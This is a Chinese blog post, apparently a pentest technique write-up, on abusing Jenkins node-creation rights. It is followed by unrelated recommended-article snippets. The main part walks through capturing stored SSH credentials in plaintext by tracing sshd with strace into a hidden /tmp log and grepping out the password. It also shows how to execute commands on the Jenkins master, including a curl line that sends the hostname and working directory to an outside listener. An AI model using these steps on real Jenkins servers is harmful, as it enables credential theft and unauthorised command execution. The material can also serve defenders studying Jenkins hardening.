Jenkins :添加node权限获取凭据、执行命令

2023-09-13 22:34:32

拥有Jenkins agent权限的账号可以对node节点进行操作,通过添加不同的node可以让流水线项目在不同的节点上运行,安装Jenkins的主机默认作为master节点。

1693206336_64ec47407d15d193c5422.png!small?1693206336902

1.Jenkins 添加node获取明文凭据

通过添加node节点,本地监听ssh认证,选则凭据(明文)进行ssh认证,拿到密码。

1.新建节点-manage nodes功能

1693205859_64ec45635aa079a5ec1b6.png!small?1693205859758

1693205872_64ec45700bc3f13e1572b.png!small?1693205872433

2.填写工作目录,选择通过SSH进行远程节点身份认证,选择抓取带*号的凭据,host key选择不进行验证:

1693205887_64ec457f8281bcac13859.png!small?1693205887940

3.主机监听:这里监听主机ssh使用的是strace后门,实际也可以使用其他方式进行:

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

4.保存节点配置, Jenkins将对主机进行ssh请求:

1693205950_64ec45be79b8523c71e55.png!small?1693205950910

node节点认证日志(账号密码方式):

1693205961_64ec45c94123ffd95eb8d.png!small?1693205961786

5. 查看接受结果,这种方式获得的密码需要自行判断下起始位置

grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

1693205976_64ec45d806a0b35142d02.png!small?1693205976368

2.通过添加节点执行命令

同样的,在添加节点时可以配置在master上执行命令去进行其他节点认证,也就可以在master上执行恶意命令了。

注意:这里执行curl命令时不能使用``直接执行系统命令,所以利用时需要更换其他方式。

curl -k ip:9090/`hostname`/`pwd`
env

添加节点时也可以从控制器执行命令,Launch method 选择 通过在master上执行命令的方式:

1693205993_64ec45e98a52e744062bf.png!small?1693205994177

保存然后launch agent:

1693206122_64ec466a0280b1d06eaf0.png!small?1693206122365

可以在Log里面看到命令env的输出:

1693206115_64ec46630c4a99a6e864e.png!small?1693206115957

更多推荐

kubeadm部署k8sv1.24使用cri-docker做为CRI

目的测试使用cri-docker做为containerd和docker的中间层垫片。规划IP系统主机名10.0.6.5ubuntu22.04.3jammymaster01.kktb.org10.0.6.6ubuntu22.04.3jammymaster02.kktb.org10.0.6.7ubuntu22.04.3ja

校园闲置物品交易平台的Android设计与实现

目录1引言11.1研究背景及意义11.2研究现状12相关理论及技术介绍32.1相关理论介绍32.2配置系统开发环境33总体设计53.1课题内容与功能设计53.2系统模块设计54软件分析74.1系统概要设计74.1.1系统流程图74.1.2系统整体框架图94.2系统功能设计104.2.1首页管理模块104.2.2个人中心

2560. 打家劫舍 IV

沿街有一排连续的房屋。每间房屋内都藏有一定的现金。现在有一位小偷计划从这些房屋中窃取现金。由于相邻的房屋装有相互连通的防盗系统,所以小偷不会窃取相邻的房屋。小偷的窃取能力定义为他在窃取过程中能从单间房屋中窃取的最大金额。给你一个整数数组nums表示每间房屋存放的现金金额。形式上,从左起第i间房屋中放有nums[i]美元

Docker文档阅读笔记-How to Commit Changes to a Docker Image with Examples

介绍在工作中使用Docker镜像和容器,用得最多的就是如何提交修改过的Docker镜像。当提交修改后,就会在原有的镜像上创建一个新的镜像。本博文说明如何提交一个新的Docker镜像。前提①有一个可以直接访问服务器的运行终端;②帐号需要root权限;③已经安装并且配置好了docker手把手教提交修改后的Docker镜像s

【Godot】解决游戏中的孤立/孤儿节点及分析器性能问题的分析处理

Godot4.1因为我在游戏中发现,越运行游戏变得越来越卡,当你使用Node节点中的print_orphan_nodes()方法打印信息的时候,会出现如下的孤儿节点信息孤儿节点信息是以节点实例ID-StrayNode:节点名称(Type:节点类型)作为格式输出,可以多运行几次查看是否节点实例ID是否是相同的,通常不是随

LeNet-5

目录一、知识点二、代码三、查看卷积层的featuremap1.查看每层信息​2.show_featureMap.py背景:LeNet-5是一个经典的CNN,由YannLeCun在1998年提出,旨在解决手写数字识别问题。一、知识点1.iter()+next()iter():返回迭代器next():使用next()来获取

【Python】json 格式转换 ② ( Json 格式简介 | Json 概念 | Json 功能 | 对象 / 数组 格式 | 嵌套格式 | Json 特点 )

文章目录一、Json格式简介1、Json概念2、Json功能3、Json格式-对象/数组格式4、Json格式-对象/数组嵌套格式5、Json特点一、Json格式简介1、Json概念Json的英文全称为"JavaScriptObjectNotation",JavaScript对象符号;Json是轻量级数据交换格式;Jso

【Python】json 格式转换 ① ( json 模块使用 | 列表转 json | json 转列表 | 字典转 json | json 转字典 )

文章目录一、json格式转换1、json模块使用2、代码示例分析-列表转json3、代码示例分析-字典转jsonjson格式字符串与Python中的字典dict和列表list变量可以无缝转换;调用json.dumps函数可以将Python列表/字典转为json;调用json.loads函数,可以将json转为pytho

SQL 性能优化总结

文章目录一、性能优化策略二、索引创建规则三、查询优化总结一、性能优化策略1.SQL语句中IN包含的值不应过多MySQL将IN中的常量全部存储在一个排好序的数组里面,但是如果数值较多,产生的消耗也是比较大的。所以对于连续的数值,能用between就不要用in。2.SELECT语句务必指明字段名称SELECT*增加很多不必

长胜证券:开盘竞价买卖技巧?

开盘竞价是股票生意进程中的一个重要环节,对于出资者来说,怎么在这个短暂的时间内下单买入或卖出股票,成为了检测出资者生意技巧的重要挑战。一、认识开盘竞价开盘竞价是指在股票商场开盘前,一切买进卖出单据的价格在必定的时间内进行比较,最终构成当日股票开盘价的进程。开盘竞价辅导股票在当天的生意价格,也是股票价格走势的一个重要起点

Docker 容器数据卷

是什么卷就是目录或文件,存在于一个或多个容器中,由docker挂载到容器,但不属于联合文件系统,因此能够绕过UnionFileSystem提供一些用于持续存储或共享数据的特性:卷的设计目的就是数据的持久化,完全独立于容器的生存周期,因此Docker不会在容器删除时删除其挂载的数据卷。一句话:有点类似我们Redis里面的

热文推荐